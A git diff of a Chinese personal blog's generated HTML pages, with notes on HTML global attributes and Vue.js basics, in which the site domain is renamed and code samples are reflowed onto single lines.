元素中的值，可编辑元素中的值\ntranslate\n指定渲染元素时是否要对内容进行翻译，目前所有主流浏览器都不支持\n","wordCount":"85","inLanguage":"en","datePublished":"2021-06-16T09:38:00Z","dateModified":"2021-06-16T09:38:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/22/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>HTML全局属性笔记</h1><div class=post-meta><span title='2021-06-16 09:38:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/HTML%e5%85%a8%e5%b1%80%e5%b1%9e%e6%80%a7%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>属性</p><p>accesskey</p><p>定义快捷键获取焦点，例如</p><pre><code>&lt;a href=&quot;https://xiaochenabc123.test.com&quot; accesskey=&quot;q&quot;&gt;GO\&lt;/a&gt;
+</code></pre><p>按ait+q，就会跳到指定的网页上</p><hr><p>class</p><p>定义元素的类，开头必须是字母，多个类使用空格隔开，例如</p><pre><code>&lt;div class = &quot;a1 a2 a3&quot;&gt;&lt;/div&gt;
+</code></pre><hr><p>id</p><p>定义一个id，id为唯一性，不能重复，例如</p><pre><code>&lt;div id = &quot;a1&quot;&gt;&lt;/div&gt;
+</code></pre><hr><p>lang</p><p>定义网页或者元素的语言，例如</p><pre><code>&lt;div lang = &quot;fr&quot;&gt;&lt;/div&gt;
+</code></pre><hr><p>style</p><p>定义元素的行内样式，例如</p><pre><code>&lt;div style=&quot;color : #fff&quot;&gt;hi&lt;/div&gt;
+</code></pre><hr><p>tabindex</p><p>指定tab键的焦点控制，例如</p><pre><code>&lt;a href=&quot;https://xiaochenabc123.test.com&quot; tabindex=&quot;1&quot;&gt;GO&lt;/a&gt;
+</code></pre><p>使用键盘的tab键盘，触发（不会跳转到网页，只是焦点）</p><hr><p>contenteditable</p><p>指定元素是否为可以编辑的，例如</p><pre><code>&lt;div contenteditable=&quot;true&quot;&gt;hi&lt;/div&gt;
+</code></pre><hr><p>dir</p><p>指定元素内文本的方向，例如</p><pre><code>&lt;div dir = &quot;rtl&quot;&gt;hi&lt;/div&gt;
+</code></pre><p>ltr默认值，从左到右</p><p>rtl，从右到左</p><hr><p>title</p><p>指定元素的信息，一般为鼠标移动到元素是停留一段时间，显示信息，例如</p><pre><code>&lt;div title = &quot;hi&quot;&gt;hi&lt;/div&gt;
+</code></pre><hr><p>data-xxx</p><p>用于存储一些自定义属性，data-后面必须有一个字符，不包括大写</p><p>JavaScript可以通过getAttribute获取到</p><hr><p>draggable</p><p>指定元素是否可以拖动，默认情况下，只有图片和链接可以拖动</p><p>有3个可选值，true/false/auto，在JavaScript中可以配合拖动事件，例如</p><pre><code>&lt;div draggable = &quot;true&quot;&gt;hi&lt;/div&gt;
+</code></pre><hr><p>hidden</p><p>指定元素是否隐藏，有两个可选值，hidden/true，例如</p><pre><code>&lt;div hidden = &quot;hidden&quot;&gt;hi&lt;/div&gt;
+</code></pre><hr><p>contextmenu</p><p>指定div元素的菜单，目前只有 Firefox 浏览器支持</p><hr><p>dropzone</p><p>指定元素被拖动时，拷贝、移动或链接被拖动数据，目前所有主流浏览器都不支持</p><hr><p>spellcheck</p><p>指定元素是否进行拼写检查，有两个可选值，true/false</p><p>可以对类型为text的非密码的input元素的值，textarea 元素中的值，可编辑元素中的值</p><hr><p>translate</p><p>指定渲染元素时是否要对内容进行翻译，目前所有主流浏览器都不支持</p><hr></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/html/>html</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/23/><span class=title>« Prev</span><br><span>vuejs基础学习笔记</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/21/><span class=title>Next »</span><br><span>jQuery基础学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/23/index.html b/posts/23/index.html
index 388187e9..f5ee41a2 100644
--- a/posts/23/index.html
+++ b/posts/23/index.html
@@ -10,11 +10,11 @@
 bundler版本：该版本不是完整版，min
 vuejs模板支持所有JavaScript表达式
 vuejs本身是用声明式渲染把数据渲染到html dom中，渲染格式为{{&mldr;}}，例如：
-<div id=&#34;app&#34;>
<p>{{ hallovuejs }}</p>
</div>
<script>
const hallo ={
data() {
return {
hallovuejs: &#34;hallo vuejs!&#34;
}
}
}
Vue.createApp(hallo).mount(&#34;#app&#34;)
</script>
vue本身携带了一些指令，主要特征就是带有v-前缀，用来渲染html dom上的一些行为，例如：
-<div id=&#34;app&#34;>
<a v-bind:href=&#34;url&#34;>{{ main }}</a>
</div>
<script>
const hallo ={
data() {
return {
url:&#34;https://xiaochenabc123.test.com&#34;,
main: &#34;小陈的辣鸡屋&#34;
}
}
}
Vue.createApp(hallo).mount(&#34;#app&#34;)
</script>
这个v-bind:href，就是将a标签的href属性绑定，v-bind可以绑定任何属性，例如class属性等等，因此可以在视图层留下一些接口指令，让vuejs来响应式渲染出视图
+<div id=&#34;app&#34;> <p>{{ hallovuejs }}</p> </div> <script> const hallo ={ data() { return { hallovuejs: &#34;hallo vuejs!&#34; } } } Vue.createApp(hallo).mount(&#34;#app&#34;) </script> vue本身携带了一些指令，主要特征就是带有v-前缀，用来渲染html dom上的一些行为，例如：
+<div id=&#34;app&#34;> <a v-bind:href=&#34;url&#34;>{{ main }}</a> </div> <script> const hallo ={ data() { return { url:&#34;https://xiaochenabc123.test.com&#34;, main: &#34;小陈的辣鸡屋&#34; } } } Vue.createApp(hallo).mount(&#34;#app&#34;) </script> 这个v-bind:href，就是将a标签的href属性绑定，v-bind可以绑定任何属性，例如class属性等等，因此可以在视图层留下一些接口指令，让vuejs来响应式渲染出视图
 而vue还提供了可以绑定事件的v-on属性，例如：
-<div id=&#34;app&#34;>
<button v-on:click=&#34;go&#34;>{{ main }}</button>
</div>
<script>
const hallo ={
data() {
return {
main: &#34;hallo&#34;
}
},
methods: {
go: function(){
console."><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/23/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="vuejs基础学习笔记"><meta property="og:description" content="vuejs的核心层就是只关心视图层的，本笔记使用的是最新版本的vue3
+<div id=&#34;app&#34;> <button v-on:click=&#34;go&#34;>{{ main }}</button> </div> <script> const hallo ={ data() { return { main: &#34;hallo&#34; } }, methods: { go: function(){ console."><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/23/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="vuejs基础学习笔记"><meta property="og:description" content="vuejs的核心层就是只关心视图层的，本笔记使用的是最新版本的vue3
 vue全家桶：Vue+VueRouter+Vuex
 vue名字来源于法语（中文翻译为视图），可以看出其对视图层的重视
 导入一般都是使用cdn导入或者直接下载vuejs进行托管，也可以使用npm安装或者使用官方的CLI来构建一个应用
@@ -26,10 +26,10 @@
 bundler版本：该版本不是完整版，min
 vuejs模板支持所有JavaScript表达式
 vuejs本身是用声明式渲染把数据渲染到html dom中，渲染格式为{{&mldr;}}，例如：
-<div id=&#34;app&#34;>
<p>{{ hallovuejs }}</p>
</div>
<script>
const hallo ={
data() {
return {
hallovuejs: &#34;hallo vuejs!&#34;
}
}
}
Vue.createApp(hallo).mount(&#34;#app&#34;)
</script>
vue本身携带了一些指令，主要特征就是带有v-前缀，用来渲染html dom上的一些行为，例如：
-<div id=&#34;app&#34;>
<a v-bind:href=&#34;url&#34;>{{ main }}</a>
</div>
<script>
const hallo ={
data() {
return {
url:&#34;https://xiaochenabc123.test.com&#34;,
main: &#34;小陈的辣鸡屋&#34;
}
}
}
Vue.createApp(hallo).mount(&#34;#app&#34;)
</script>
这个v-bind:href，就是将a标签的href属性绑定，v-bind可以绑定任何属性，例如class属性等等，因此可以在视图层留下一些接口指令，让vuejs来响应式渲染出视图
+<div id=&#34;app&#34;> <p>{{ hallovuejs }}</p> </div> <script> const hallo ={ data() { return { hallovuejs: &#34;hallo vuejs!&#34; } } } Vue.createApp(hallo).mount(&#34;#app&#34;) </script> vue本身携带了一些指令，主要特征就是带有v-前缀，用来渲染html dom上的一些行为，例如：
+<div id=&#34;app&#34;> <a v-bind:href=&#34;url&#34;>{{ main }}</a> </div> <script> const hallo ={ data() { return { url:&#34;https://xiaochenabc123.test.com&#34;, main: &#34;小陈的辣鸡屋&#34; } } } Vue.createApp(hallo).mount(&#34;#app&#34;) </script> 这个v-bind:href，就是将a标签的href属性绑定，v-bind可以绑定任何属性，例如class属性等等，因此可以在视图层留下一些接口指令，让vuejs来响应式渲染出视图
 而vue还提供了可以绑定事件的v-on属性，例如：
-<div id=&#34;app&#34;>
<button v-on:click=&#34;go&#34;>{{ main }}</button>
</div>
<script>
const hallo ={
data() {
return {
main: &#34;hallo&#34;
}
},
methods: {
go: function(){
console."><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/23/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-06-16T10:13:00+00:00"><meta property="article:modified_time" content="2021-06-16T10:13:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="vuejs基础学习笔记"><meta name=twitter:description content="vuejs的核心层就是只关心视图层的，本笔记使用的是最新版本的vue3
+<div id=&#34;app&#34;> <button v-on:click=&#34;go&#34;>{{ main }}</button> </div> <script> const hallo ={ data() { return { main: &#34;hallo&#34; } }, methods: { go: function(){ console."><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/23/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-06-16T10:13:00+00:00"><meta property="article:modified_time" content="2021-06-16T10:13:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="vuejs基础学习笔记"><meta name=twitter:description content="vuejs的核心层就是只关心视图层的，本笔记使用的是最新版本的vue3
 vue全家桶：Vue+VueRouter+Vuex
 vue名字来源于法语（中文翻译为视图），可以看出其对视图层的重视
 导入一般都是使用cdn导入或者直接下载vuejs进行托管，也可以使用npm安装或者使用官方的CLI来构建一个应用
@@ -41,799 +41,799 @@
 bundler版本：该版本不是完整版，min
 vuejs模板支持所有JavaScript表达式
 vuejs本身是用声明式渲染把数据渲染到html dom中，渲染格式为{{&mldr;}}，例如：
-<div id=&#34;app&#34;>
<p>{{ hallovuejs }}</p>
</div>
<script>
const hallo ={
data() {
return {
hallovuejs: &#34;hallo vuejs!&#34;
}
}
}
Vue.createApp(hallo).mount(&#34;#app&#34;)
</script>
vue本身携带了一些指令，主要特征就是带有v-前缀，用来渲染html dom上的一些行为，例如：
-<div id=&#34;app&#34;>
<a v-bind:href=&#34;url&#34;>{{ main }}</a>
</div>
<script>
const hallo ={
data() {
return {
url:&#34;https://xiaochenabc123.test.com&#34;,
main: &#34;小陈的辣鸡屋&#34;
}
}
}
Vue.createApp(hallo).mount(&#34;#app&#34;)
</script>
这个v-bind:href，就是将a标签的href属性绑定，v-bind可以绑定任何属性，例如class属性等等，因此可以在视图层留下一些接口指令，让vuejs来响应式渲染出视图
+<div id=&#34;app&#34;> <p>{{ hallovuejs }}</p> </div> <script> const hallo ={ data() { return { hallovuejs: &#34;hallo vuejs!&#34; } } } Vue.createApp(hallo).mount(&#34;#app&#34;) </script> vue本身携带了一些指令，主要特征就是带有v-前缀，用来渲染html dom上的一些行为，例如：
+<div id=&#34;app&#34;> <a v-bind:href=&#34;url&#34;>{{ main }}</a> </div> <script> const hallo ={ data() { return { url:&#34;https://xiaochenabc123.test.com&#34;, main: &#34;小陈的辣鸡屋&#34; } } } Vue.createApp(hallo).mount(&#34;#app&#34;) </script> 这个v-bind:href，就是将a标签的href属性绑定，v-bind可以绑定任何属性，例如class属性等等，因此可以在视图层留下一些接口指令，让vuejs来响应式渲染出视图
 而vue还提供了可以绑定事件的v-on属性，例如：
-<div id=&#34;app&#34;>
<button v-on:click=&#34;go&#34;>{{ main }}</button>
</div>
<script>
const hallo ={
data() {
return {
main: &#34;hallo&#34;
}
},
methods: {
go: function(){
console."><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"vuejs基础学习笔记","item":"https://xiaochenabc123.github.io/posts/23/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"vuejs基础学习笔记","name":"vuejs基础学习笔记","description":"vuejs的核心层就是只关心视图层的，本笔记使用的是最新版本的vue3\nvue全家桶：Vue+VueRouter+Vuex\nvue名字来源于法语（中文翻译为视图），可以看出其对视图层的重视\n导入一般都是使用cdn导入或者直接下载vuejs进行托管，也可以使用npm安装或者使用官方的CLI来构建一个应用\nhttps://unpkg.com/vue@next\ncjs版本：完整版，包含编译器\nprod.js都是开发版，代码进行了压缩\nglobal版本：可以直接通过scripts标签导入，会建立一个全局Vue对象\nbrowser版本：包含esm,浏览器模块\nbundler版本：该版本不是完整版，min\nvuejs模板支持所有JavaScript表达式\nvuejs本身是用声明式渲染把数据渲染到html dom中，渲染格式为{{\u0026hellip;}}，例如：\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt;\r\u0026lt;p\u0026gt;{{ hallovuejs }}\u0026lt;/p\u0026gt;\r\u0026lt;/div\u0026gt;\r\u0026lt;script\u0026gt;\rconst hallo ={\rdata() {\rreturn {\rhallovuejs: \u0026quot;hallo vuejs!\u0026quot;\r}\r}\r}\rVue.createApp(hallo).mount(\u0026quot;#app\u0026quot;)\r\u0026lt;/script\u0026gt;\rvue本身携带了一些指令，主要特征就是带有v-前缀，用来渲染html dom上的一些行为，例如：\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt;\r\u0026lt;a v-bind:href=\u0026quot;url\u0026quot;\u0026gt;{{ main }}\u0026lt;/a\u0026gt;\r\u0026lt;/div\u0026gt;\r\u0026lt;script\u0026gt;\rconst hallo ={\rdata() {\rreturn {\rurl:\u0026quot;https://xiaochenabc123.test.com\u0026quot;,\rmain: \u0026quot;小陈的辣鸡屋\u0026quot;\r}\r}\r}\rVue.createApp(hallo).mount(\u0026quot;#app\u0026quot;)\r\u0026lt;/script\u0026gt;\r这个v-bind:href，就是将a标签的href属性绑定，v-bind可以绑定任何属性，例如class属性等等，因此可以在视图层留下一些接口指令，让vuejs来响应式渲染出视图\n而vue还提供了可以绑定事件的v-on属性，例如：\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt;\r\u0026lt;button v-on:click=\u0026quot;go\u0026quot;\u0026gt;{{ main }}\u0026lt;/button\u0026gt;\r\u0026lt;/div\u0026gt;\r\u0026lt;script\u0026gt;\rconst hallo ={\rdata() {\rreturn {\rmain: \u0026quot;hallo\u0026quot;\r}\r},\rmethods: {\rgo: function(){\rconsole.","keywords":["vuejs"],"articleBody":"vuejs的核心层就是只关心视图层的，本笔记使用的是最新版本的vue3\nvue全家桶：Vue+VueRouter+Vuex\nvue名字来源于法语（中文翻译为视图），可以看出其对视图层的重视\n导入一般都是使用cdn导入或者直接下载vuejs进行托管，也可以使用npm安装或者使用官方的CLI来构建一个应用\nhttps://unpkg.com/vue@next\ncjs版本：完整版，包含编译器\nprod.js都是开发版，代码进行了压缩\nglobal版本：可以直接通过scripts标签导入，会建立一个全局Vue对象\nbrowser版本：包含esm,浏览器模块\nbundler版本：该版本不是完整版，min\nvuejs模板支持所有JavaScript表达式\nvuejs本身是用声明式渲染把数据渲染到html dom中，渲染格式为{{…}}，例如：\n{{ hallovuejs }}\nvue本身携带了一些指令，主要特征就是带有v-前缀，用来渲染html dom上的一些行为，例如：\n{{ main }}\r这个v-bind:href，就是将a标签的href属性绑定，v-bind可以绑定任何属性，例如class属性等等，因此可以在视图层留下一些接口指令，让vuejs来响应式渲染出视图\n而vue还提供了可以绑定事件的v-on属性，例如：\n{{ main }}\rv-on可以绑定多个事件，例如：\n{{ main }}\rv-model可以进行数据的双向绑定，不但可以赋予元素中的数据，也可以获取元素中的数据，例如：\n{{ main }}\rv-show可以根据表达式的值来判断是否显示，方法和v-if一样，但是隐藏的方法是加上了display: none;，v-show不支持template和v-else，如果没有频繁切换的需求可选择v-if，频繁切换会重新渲染情况严重，而且v-show只是修改css属性而已\nv-if可以进行条件判断，会根据表达式的值来判断，例如\n{{ main }}\r当值为false时，该元素就会被隐藏\nv-else 该指令必须跟着v-if或者v-else-if指令的元素的后面，否则不会被识别，例如：\n{{ main }}\r这是v-if判断为假时渲染，v-if判断为真时不渲染\rv-else-if，必须前面的元素中有v-if或者v-else-if指令，例如：\nyes_no == yes\ryes_no == no\ryes_no != no||yes\rv-for可以多次渲染元素，例如：\n{{a}}\r注意：当v-for和v-if出现在同级时，v-for优先级比v-if高，因此不要在v-for下，使用v-if过滤，应该在v-if下使用v-for，v-if应该使用（不会创建dom元素）\nv-html可以插入html\nv-once表示该元素或者组件只渲染一次，后面不会因为数据的改变而重新渲染\n动态参数的实现\nconst hallo = {\rdata() {\rreturn {\rmain: \"hallo\",\rabc: \"classa\"\r}\r},\rtemplate: `hallo word`\r}\rVue.createApp(hallo).mount(\"#app\")\rvuejs提供了一个叫组件的概念，将重复的程序进行封装，用这些被封装的组件来构建大型应用，可以理解为积木\n根组件：挂载应用时，该组件被认为是渲染的起点\n如果想挂载一个应用到id为app的dom元素中，那么就需要挂载#app，通过一个vue实例，调用其component()方法，创建一个组件\n上面简单说明了一下组件的概念,下面详细说明一下组件和组件实例\n页面是这些组件的容器，因此，组件在页面中表达出来的是原生html\n模板（template）：模板定义了数据和html dom的绑定关系\n初始数据（data）：组件的初始数据，组件具有作用域，因此是处于封装私有状态的\n接收的外部参数（props）：组件之间通过该参数进行数据的传递和分享(单向，只能从父组件中获取，不能进行修改,父传子)\n方法（methods）：对数据的改动一般都在组件的方法内进行操作，通过v-on指令把输入事件和组件方法进行绑定\n生命周期钩子（lifecycle hooks）：每个实例都会触发多个生命周期钩子，从创建到废弃的过程就是生命周期，可以在不同时候进行逻辑处理，另外还有组件生命周期\n组件：一种对数据和方法的封装\nmount()返回的是组件实例\n组件实例：组件继承于组件，通过createApp()建立组件实例\n当需要进行数据计算处理时，例如将两个数据合并，如果通过正常的表达式来表示，那么一旦数据处理复杂了，程序会显得很繁杂，vuejs中提供了一个叫计算属性的东西，例如：\n{{hallo}}\r样式绑定\n组件是可重复使用的实例，例如：\nconst app = Vue.createApp({})\rapp.component(\"test\",{\rdata() {\rreturn {\rabc: \"hallo\"\r}\r},\rtemplate: `\r{{abc}} word\r`\r})\rapp.mount(\"#app\")\r全局组件\n一般来说组件的数据是独享的，只有全局组件才能进行数据访问，例如：\nconst app = Vue.createApp({\rtemplate: `\r`\r// 父组件\r})\rapp.component(\"test\",{\rtemplate: ``\r// 全局组件\r})\rapp.component(\"abc\",{\rdata() {\rreturn {\rtext: \"hallo word\"\r}\r},\rtemplate: ` {{text}} ` // 全局组件\r})\rapp.mount('#app')\rabc组件分享了数据给test组件\n局部组件\nconst Test_date ={\rtemplate: \"hallo word\n\"\r// 局部组件\r}\rconst Test_datea ={\rtemplate: \"hallo hhh\n\"\r// 局部组件\r}\rconst app = Vue.createApp({\rcomponents: {\r\"test\" 